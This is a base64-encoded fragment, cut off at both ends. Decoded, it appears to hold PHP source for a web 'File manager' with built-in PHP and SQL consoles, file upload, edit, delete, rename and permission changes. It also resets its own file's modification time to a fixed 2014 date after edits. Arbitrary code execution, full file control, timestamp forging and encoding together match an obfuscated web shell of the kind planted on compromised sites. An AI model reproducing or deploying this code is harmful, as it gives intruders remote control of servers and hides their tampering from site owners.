NjejdhZDh2THk5THRVMXF5VXVaNCtyNTEyKzhzL3dVcEwzZDNkeDdXMWZHTmEvODlaMmNmSCtzNW42T2pvYjFZdHM3S3oxOWZYd0lnNHAxZE4rUGo0ekxSMCs4cGQ3c3RyaEtBcy85aGovOUJWMUt0ZnRMUzFucDJkWWxKU1pGVlY1TFJXaEVGQjVyaFovOUpxMEh0VC8vQ1NrSXFKNks1RCtMTk5ibFZWdmpNMDQ3Wk16N2UzMXhFRy8vLy90S2d1NndBQUFKdDBVazVULy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL3dDVlZwS1lBQUFBR1hSRldIUlRiMlowZDJGeVpRQkJaRzlpWlNCSmJXRm5aVkpsWVdSNWNjbGxQQUFBQU5aSlJFRlVLRk5qbUtXaVBRc1pNTXhpbXNxUEtwQWIyTXNBWk5qTE93a3pnZ1ZtSllueXBzL1FFNTllS0NFdEJoYVlGUmZqWnVUaEgyN2xZNmtxQnhZb3JTL09NQzV3aUhaa2wyUUNDVlRrTit0cnRGajRaU3BNbWF3REZCRDBsQ295bnpaQmwxbklKajU1RWxCQTA5cGR2YzlidVQxU1lLWUJXdzFRSUMwb05Zc2pyRkhKcFNrdlJZc0JLQ0NiTTlITE45dFdyYnFualVVR1pHMUFoR3VJWFpSenBRbDNhR3dEMkIyY1paMnpFb0w3Vyt1NnF5QXVuWlhJT012UXJGeWtxd1RpRnpCUU5PWGo0UUt6b0FLemFqdFlJUXdBbHZ0cGwzVjVjOE1BQUFBQVNVVk9SSzVDWUlJPSIpOwp9CkBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NzIwcHgpewogIHRhYmxle2Rpc3BsYXk6YmxvY2s7fQogICAgI2ZtX3RhYmxlIHRke2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7fQogICAgI2ZtX3RhYmxlIHRib2R5IHRkOmZpcnN0LWNoaWxke3dpZHRoOjEwMCU7cGFkZGluZzowO30KICAgICNmbV90YWJsZSB0Ym9keSB0cjpudGgtY2hpbGQoMm4rMSl7YmFja2dyb3VuZC1jb2xvcjojRUZFRkVGO30KICAgICNmbV90YWJsZSB0Ym9keSB0cjpudGgtY2hpbGQoMm4pe2JhY2tncm91bmQtY29sb3I6I0RFRTNFNzt9CiAgICAjZm1fdGFibGUgdHJ7ZGlzcGxheTpibG9jaztmbG9hdDpsZWZ0O2NsZWFyOmxlZnQ7d2lkdGg6MTAwJTt9CgkjaGVhZGVyX3RhYmxlIC5yb3cyLCAjaGVhZGVyX3RhYmxlIC5yb3czIHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O3dpZHRoOjEwMCU7cGFkZGluZzowO30KCSNoZWFkZXJfdGFibGUgdGFibGUgdGQge2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7fQp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cjw/cGhwCiR1cmxfaW5jID0gJz9mbT10cnVlJzsKaWYgKGlzc2V0KCRfUE9TVFsnc3FscnVuJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3NxbF9jb25zb2xlJ10pKXsKCSRyZXMgPSBlbXB0eSgkX1BPU1RbJ3NxbCddKSA/ICcnIDogJF9QT1NUWydzcWwnXTsKCSRyZXNfbG5nID0gJ3NxbCc7Cn0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ3BocHJ1biddKSYmIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9waHBfY29uc29sZSddKSl7CgkkcmVzID0gZW1wdHkoJF9QT1NUWydwaHAnXSkgPyAnJyA6ICRfUE9TVFsncGhwJ107CgkkcmVzX2xuZyA9ICdwaHAnOwp9IAppZiAoaXNzZXQoJF9HRVRbJ2ZtX3NldHRpbmdzJ10pKSB7CgllY2hvICcgCjx0YWJsZSBjbGFzcz0id2hvbGUiPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KPHRyPjx0aCBjb2xzcGFuPSIyIj4nLl9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy5fXygnU2V0dGluZ3MnKS4nPC90aD48L3RyPgonLihlbXB0eSgkbXNnKT8nJzonPHRyPjx0ZCBjbGFzcz0icm93MiIgY29sc3Bhbj0iMiI+Jy4kbXNnLic8L3RkPjwvdHI+JykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cgc2l6ZSBvZiB0aGUgZm9sZGVyJyksJ3Nob3dfZGlyX3NpemUnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygncGljdHVyZXMnKSwnc2hvd19pbWcnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnTWFrZSBkaXJlY3RvcnknKSwnbWFrZV9kaXJlY3RvcnknKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnTmV3IGZpbGUnKSwnbmV3X2ZpbGUnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnVXBsb2FkJyksJ3VwbG9hZF9maWxlJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCB2ZXJzaW9uJywnc2hvd19waHBfdmVyJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCBpbmknLCdzaG93X3BocF9pbmknKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnR2VuZXJhdGlvbiB0aW1lJyksJ3Nob3dfZ3QnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgeGxzJywnc2hvd194bHMnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUEhQICcuX18oJ0NvbnNvbGUnKSwnZW5hYmxlX3BocF9jb25zb2xlJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFNRTCAnLl9fKCdDb25zb2xlJyksJ2VuYWJsZV9zcWxfY29uc29sZScpLicKPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfc2VydmVyXSIgdmFsdWU9IicuJGZtX2NvbmZpZ1snc3FsX3NlcnZlciddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgc2VydmVyPC90ZD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fY29uZmlnW3NxbF91c2VybmFtZV0iIHZhbHVlPSInLiRmbV9jb25maWdbJ3NxbF91c2VybmFtZSddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgdXNlcjwvdGQ+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfcGFzc3dvcmRdIiB2YWx1ZT0iJy4kZm1fY29uZmlnWydzcWxfcGFzc3dvcmQnXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+U1FMIHBhc3N3b3JkPC90ZD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fY29uZmlnW3NxbF9kYl0iIHZhbHVlPSInLiRmbV9jb25maWdbJ3NxbF9kYiddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgREI8L3RkPjwvdHI+CicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUHJveHknLCdlbmFibGVfcHJveHknKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgcGhwaW5mbygpJywnc2hvd19waHBpbmZvJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ1NldHRpbmdzJyksJ2ZtX3NldHRpbmdzJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Jlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmcnKSwncmVzdG9yZV90aW1lJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ0ZpbGUgbWFuYWdlcicpLic6ICcuX18oJ1Jlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmcnKSwnZm1fcmVzdG9yZV90aW1lJykuJwo8dHI+PHRkIGNsYXNzPSJyb3czIj48YSBocmVmPSInLmZtX3VybCgpLic/Zm1fc2V0dGluZ3M9dHJ1ZSZmbV9jb25maWdfZGVsZXRlPXRydWUiPicuX18oJ1Jlc2V0IHNldHRpbmdzJykuJzwvYT48L3RkPjx0ZCBjbGFzcz0icm93MyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1NhdmUnKS4nIiBuYW1lPSJmbV9jb25maWdbZm1fc2V0X3N1Ym1pdF0iPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgo8dGFibGU+Cjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgo8dHI+PHRoIGNvbHNwYW49IjIiPicuX18oJ1NldHRpbmdzJykuJyAtICcuX18oJ0F1dGhvcml6YXRpb24nKS4nPC90aD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bYXV0aG9yaXplXSIgdmFsdWU9IjEiICcuKCRhdXRoWydhdXRob3JpemUnXT8nY2hlY2tlZCc6JycpLicgdHlwZT0iY2hlY2tib3giIGlkPSJhdXRoIj48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PGxhYmVsIGZvcj0iYXV0aCI+Jy5fXygnQXV0aG9yaXphdGlvbicpLic8L2xhYmVsPjwvdGQ+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2xvZ2luXSIgdmFsdWU9IicuJGF1dGhbJ2xvZ2luJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ0xvZ2luJykuJzwvdGQ+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW3Bhc3N3b3JkXSIgdmFsdWU9IicuJGF1dGhbJ3Bhc3N3b3JkJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ1Bhc3N3b3JkJykuJzwvdGQ+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2Nvb2tpZV9uYW1lXSIgdmFsdWU9IicuJGF1dGhbJ2Nvb2tpZV9uYW1lJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ0Nvb2tpZScpLic8L3RkPjwvdHI+Cjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpbltkYXlzX2F1dGhvcml6YXRpb25dIiB2YWx1ZT0iJy4kYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ0RheXMnKS4nPC90ZD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48dGV4dGFyZWEgbmFtZT0iZm1fbG9naW5bc2NyaXB0XSIgY29scz0iMzUiIHJvd3M9IjciIGNsYXNzPSJ0ZXh0YXJlYV9pbnB1dCIgaWQ9ImF1dGhfc2NyaXB0Ij4nLiRhdXRoWydzY3JpcHQnXS4nPC90ZXh0YXJlYT48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnU2NyaXB0JykuJzwvdGQ+PC90cj4KPHRyPjx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1NhdmUnKS4nIiA+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+JzsKZWNobyBmbV90cGxfZm9ybSgncGhwJyksZm1fdHBsX2Zvcm0oJ3NxbCcpOwp9IGVsc2VpZiAoaXNzZXQoJHByb3h5X2Zvcm0pKSB7CglkaWUoJHByb3h5X2Zvcm0pOwp9IGVsc2VpZiAoaXNzZXQoJHJlc19sbmcpKSB7CQo/Pgo8dGFibGUgY2xhc3M9Indob2xlIj4KPHRyPgogICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy4kcGF0aD8+PC90aD4KPC90cj4KPHRyPgogICAgPHRkIGNsYXNzPSJyb3cyIj48dGFibGU+PHRyPjx0ZD48aDI+PD89c3RydG91cHBlcigkcmVzX2xuZyk/PiA8Pz1fXygnQ29uc29sZScpPz48P3BocAoJaWYoJHJlc19sbmc9PSdzcWwnKSBlY2hvICcgLSBEYXRhYmFzZTogJy4kZm1fY29uZmlnWydzcWxfZGInXS4nPC9oMj48L3RkPjx0ZD4nLmZtX3J1bl9pbnB1dCgncGhwJyk7CgllbHNlIGVjaG8gJzwvaDI+PC90ZD48dGQ+Jy5mbV9ydW5faW5wdXQoJ3NxbCcpOwoJPz48L3RkPjwvdHI+PC90YWJsZT48L3RkPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiPgoJCTxhIGhyZWY9Ijw/PSR1cmxfaW5jLicmcGF0aD0nIC4gJHBhdGg7Pz4iPjw/PV9fKCdCYWNrJyk/PjwvYT4KCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIiBuYW1lPSJjb25zb2xlIj4KCQk8dGV4dGFyZWEgbmFtZT0iPD89JHJlc19sbmc/PiIgY29scz0iODAiIHJvd3M9IjEwIiBzdHlsZT0id2lkdGg6IDkwJSI+PD89JHJlcz8+PC90ZXh0YXJlYT48YnIvPgoJCTxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9Ijw/PV9fKCdSZXNldCcpPz4iPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI8Pz1fXygnU3VibWl0Jyk/PiIgbmFtZT0iPD89JHJlc19sbmc/PnJ1biI+Cjw/cGhwCiRzdHJfdG1wbCA9ICRyZXNfbG5nLidfdGVtcGxhdGVzJzsKJHRtcGwgPSAhZW1wdHkoJCRzdHJfdG1wbCkgPyBqc29uX2RlY29kZSgkJHN0cl90bXBsLHRydWUpIDogJyc7CmlmICghZW1wdHkoJHRtcGwpKXsKCSRhY3RpdmUgPSBpc3NldCgkX1BPU1RbJHJlc19sbmcuJ190cGwnXSkgPyAkX1BPU1RbJHJlc19sbmcuJ190cGwnXSA6ICcnOwoJJHNlbGVjdCA9ICc8c2VsZWN0IG5hbWU9IicuJHJlc19sbmcuJ190cGwiIHRpdGxlPSInLl9fKCdUZW1wbGF0ZScpLiciIG9uY2hhbmdlPSJpZiAodGhpcy52YWx1ZSE9LTEpIGRvY3VtZW50LmZvcm1zW1wnY29uc29sZVwnXS5lbGVtZW50c1tcJycuJHJlc19sbmcuJ1wnXS52YWx1ZSA9IHRoaXMub3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZTsgZWxzZSBkb2N1bWVudC5mb3Jtc1tcJ2NvbnNvbGVcJ10uZWxlbWVudHNbXCcnLiRyZXNfbG5nLidcJ10udmFsdWUgPVwnXCc7IiA+Jy4iXG4iOwoJJHNlbGVjdCAuPSAnPG9wdGlvbiB2YWx1ZT0iLTEiPicgLiBfXygnU2VsZWN0JykgLiAiPC9vcHRpb24+XG4iOwoJZm9yZWFjaCAoJHRtcGwgYXMgJGtleT0+JHZhbHVlKXsKCQkkc2VsZWN0Lj0nPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oKCFlbXB0eSgkdmFsdWUpJiYoJHZhbHVlPT0kYWN0aXZlKSk/J3NlbGVjdGVkJzonJykuJyA+Jy5fXygka2V5KS4iPC9vcHRpb24+XG4iOwoJfQoJJHNlbGVjdCAuPSAiPC9zZWxlY3Q+XG4iOwoJZWNobyAkc2VsZWN0Owp9Cj8+CgkJPC9mb3JtPgoJPC90ZD4KPC90cj4KPC90YWJsZT4KPD9waHAKCWlmICghZW1wdHkoJHJlcykpIHsKCQkkZnVuPSdmbV8nLiRyZXNfbG5nOwoJCWVjaG8gJzxoMz4nLnN0cnRvdXBwZXIoJHJlc19sbmcpLicgJy5fXygnUmVzdWx0JykuJzwvaDM+PHByZT4nLiRmdW4oJHJlcykuJzwvcHJlPic7Cgl9Cn0gZWxzZWlmICghZW1wdHkoJF9SRVFVRVNUWydlZGl0J10pKXsKCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHsKCQkkZm4gPSAkcGF0aCAuICRfUkVRVUVTVFsnZWRpdCddOwoJCSRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoJGZuKTsKCSAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZuLCAkX1JFUVVFU1RbJ25ld2NvbnRlbnQnXSkpICRtc2cgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOwoJCWVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsKCQlpZiAoJF9HRVRbJ2VkaXQnXT09YmFzZW5hbWUoX19GSUxFX18pKSB7CgkJCXRvdWNoKF9fRklMRV9fLDE0MTUxMTYzNzEpOwoJCX0gZWxzZSB7CgkJCWlmICghZW1wdHkoJGZtX2NvbmZpZ1sncmVzdG9yZV90aW1lJ10pKSB0b3VjaCgkZm4sJGZpbGVtdGltZSk7CgkJfQoJfQogICAgJG9sZGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHBhdGggLiAkX1JFUVVFU1RbJ2VkaXQnXSk7CiAgICAkZWRpdGxpbmsgPSAkdXJsX2luYyAuICcmZWRpdD0nIC4gJF9SRVFVRVNUWydlZGl0J10gLiAnJnBhdGg9JyAuICRwYXRoOwogICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoOwo/Pgo8dGFibGUgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzEnIHdpZHRoPSIxMDAlIj4KPHRyPgogICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy5fXygnRWRpdCcpLicgLSAnLiRwYXRoLiRfUkVRVUVTVFsnZWRpdCddPz48L3RoPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiPgogICAgICAgIDw/PSRtc2c/PgoJPC90ZD4KPC90cj4KPHRyPgogICAgPHRkIGNsYXNzPSJyb3cxIj4KICAgICAgICA8Pz1mbV9ob21lKCk/PiA8YSBocmVmPSI8Pz0kYmFja2xpbms/PiI+PD89X18oJ0JhY2snKT8+PC9hPgoJPC90ZD4KPC90cj4KPHRyPgogICAgPHRkIGNsYXNzPSJyb3cxIiBhbGlnbj0iY2VudGVyIj4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSRlZGl0bGluaz8+Ij4KICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im5ld2NvbnRlbnQiIGlkPSJuZXdjb250ZW50IiBjb2xzPSI0NSIgcm93cz0iMTUiIHN0eWxlPSJ3aWR0aDo5OSUiIHNwZWxsY2hlY2s9ImZhbHNlIj48Pz1odG1sc3BlY2lhbGNoYXJzKCRvbGRjb250ZW50KT8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY2FuY2VsIiB2YWx1ZT0iPD89X18oJ0NhbmNlbCcpPz4iPgogICAgICAgIDwvZm9ybT4KICAgIDwvdGQ+CjwvdHI+CjwvdGFibGU+Cjw/cGhwCmVjaG8gJGF1dGhbJ3NjcmlwdCddOwp9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydyaWdodHMnXSkpewoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkgewoJICAgIGlmKGZtX2NobW9kKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgZm1fY29udmVydF9yaWdodHMoJF9SRVFVRVNUWydyaWdodHNfdmFsJ10pLCBAJF9SRVFVRVNUWydyZWN1cnNpdmVseSddKSkKCQkkbXNnIC49IChfXygnRmlsZSB1cGRhdGVkJykpOyAKCQllbHNlICRtc2cgLj0gKF9fKCdFcnJvciBvY2N1cnJlZCcpKTsKCX0KCWNsZWFyc3RhdGNhY2hlKCk7CiAgICAkb2xkcmlnaHRzID0gZm1fcmlnaHRzX3N0cmluZygkcGF0aCAuICRfUkVRVUVTVFsncmlnaHRzJ10sIHRydWUpOwogICAgJGxpbmsgPSAkdXJsX2luYyAuICcmcmlnaHRzPScgLiAkX1JFUVVFU1RbJ3JpZ2h0cyddIC4gJyZwYXRoPScgLiAkcGF0aDsKICAgICRiYWNrbGluayA9ICR1cmxfaW5jIC4gJyZwYXRoPScgLiAkcGF0aDsKPz4KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+Cjx0cj4KICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuJHBhdGg/PjwvdGg+CjwvdHI+Cjx0cj4KICAgIDx0ZCBjbGFzcz0icm93MSI+CiAgICAgICAgPD89JG1zZz8+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiPgogICAgICAgIDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPgogICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGxpbms/PiI+CiAgICAgICAgICAgPD89X18oJ1JpZ2h0cycpLicgLSAnLiRfUkVRVUVTVFsncmlnaHRzJ10/PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmlnaHRzX3ZhbCIgdmFsdWU9Ijw/PSRvbGRyaWdodHM/PiI+CiAgICAgICAgPD9waHAgaWYgKGlzX2RpcigkcGF0aC4kX1JFUVVFU1RbJ3JpZ2h0cyddKSkgeyA/PgogICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJlY3Vyc2l2ZWx5IiB2YWx1ZT0iMSI+IDw/PV9fKCdSZWN1cnNpdmVseScpPz48YnIvPgogICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4KICAgICAgICA8L2Zvcm0+CiAgICA8L3RkPgo8L3RyPgo8L3RhYmxlPgo8P3BocAp9IGVsc2VpZiAoIWVtcHR5KCRfUkVRVUVTVFsncmVuYW1lJ10pJiYkX1JFUVVFU1RbJ3JlbmFtZSddPD4nLicpIHsKCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHsKCSAgICByZW5hbWUoJHBhdGggLiAkX1JFUVVFU1RbJ3JlbmFtZSddLCAkcGF0aCAuICRfUkVRVUVTVFsnbmV3bmFtZSddKTsKCQkkbXNnIC49IChfXygnRmlsZSB1cGRhdGVkJykpOwoJCSRfUkVRVUVTVFsncmVuYW1lJ10gPSAkX1JFUVVFU1RbJ25ld25hbWUnXTsKCX0KCWNsZWFyc3RhdGNhY2hlKCk7CiAgICAkbGluayA9ICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRfUkVRVUVTVFsncmVuYW1lJ10gLiAnJnBhdGg9JyAuICRwYXRoOwogICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoOwoKPz4KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+Cjx0cj4KICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuJHBhdGg/PjwvdGg+CjwvdHI+Cjx0cj4KICAgIDx0ZCBjbGFzcz0icm93MSI+CiAgICAgICAgPD89JG1zZz8+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiPgogICAgICAgIDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPgogICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGxpbms/PiI+CiAgICAgICAgICAgIDw/PV9fKCdSZW5hbWUnKT8+OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3bmFtZSIgdmFsdWU9Ijw/PSRfUkVRVUVTVFsncmVuYW1lJ10/PiI+PGJyLz4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4KICAgICAgICA8L2Zvcm0+CiAgICA8L3RkPgo8L3RyPgo8L3RhYmxlPgo8P3BocAp9IGVsc2UgewovL0xldCdzIHJvY2shCiAgICAkbXNnID0gJyc7CiAgICBpZighZW1wdHkoJF9GSUxFU1sndXBsb2FkJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1sndXBsb2FkX2ZpbGUnXSkpIHsKICAgICAgICBpZighZW1wdHkoJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSkpewogICAgICAgICAgICAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddID0gc3RyX3JlcGxhY2UoJyUnLCAnJywgJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSk7CiAgICAgICAgICAgIGlmKCFtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXBsb2FkJ11bJ3RtcF9uYW1lJ10sICRwYXRoIC4gJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSkpewogICAgICAgICAgICAgICAgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsKICAgICAgICAgICAgfSBlbHNlIHsKCQkJCSRtc2cgLj0gX18oJ0ZpbGVzIHVwbG9hZGVkJykuJzogJy4kX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddOwoJCQl9CiAgICAgICAgfQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsnZGVsZXRlJ10pJiYkX1JFUVVFU1RbJ2RlbGV0ZSddPD4nLicpIHsKICAgICAgICBpZighZm1fZGVsX2ZpbGVzKCgkcGF0aCAuICRfUkVRVUVTVFsnZGVsZXRlJ10pLCB0cnVlKSkgewogICAgICAgICAgICAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwogICAgICAgIH0gZWxzZSB7CgkJCSRtc2cgLj0gX18oJ0RlbGV0ZWQnKS4nICcuJF9SRVFVRVNUWydkZWxldGUnXTsKCQl9Cgl9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydta2RpciddKSYmIWVtcHR5KCRmbV9jb25maWdbJ21ha2VfZGlyZWN0b3J5J10pKSB7CiAgICAgICAgaWYoIUBta2RpcigkcGF0aCAuICRfUkVRVUVTVFsnZGlybmFtZSddLDA3NzcpKSB7CiAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7CiAgICAgICAgfSBlbHNlIHsKCQkJJG1zZyAuPSBfXygnQ3JlYXRlZCcpLicgJy4kX1JFUVVFU1RbJ2Rpcm5hbWUnXTsKCQl9CiAgICB9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydta2ZpbGUnXSkmJiFlbXB0eSgkZm1fY29uZmlnWyduZXdfZmlsZSddKSkgewogICAgICAgIGlmKCEkZnA9QGZvcGVuKCRwYXRoIC4gJF9SRVFVRVNUWydmaWxlbmFtZSddLCJ3IikpIHsKICAgICAgICAgICAgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsKICAgICAgICB9IGVsc2UgewoJCQlmY2xvc2UoJGZwKTsKCQkJJG1zZyAuPSBfXygnQ3JlYXRlZCcpLicgJy4kX1JFUVVFU1RbJ2ZpbGVuYW1l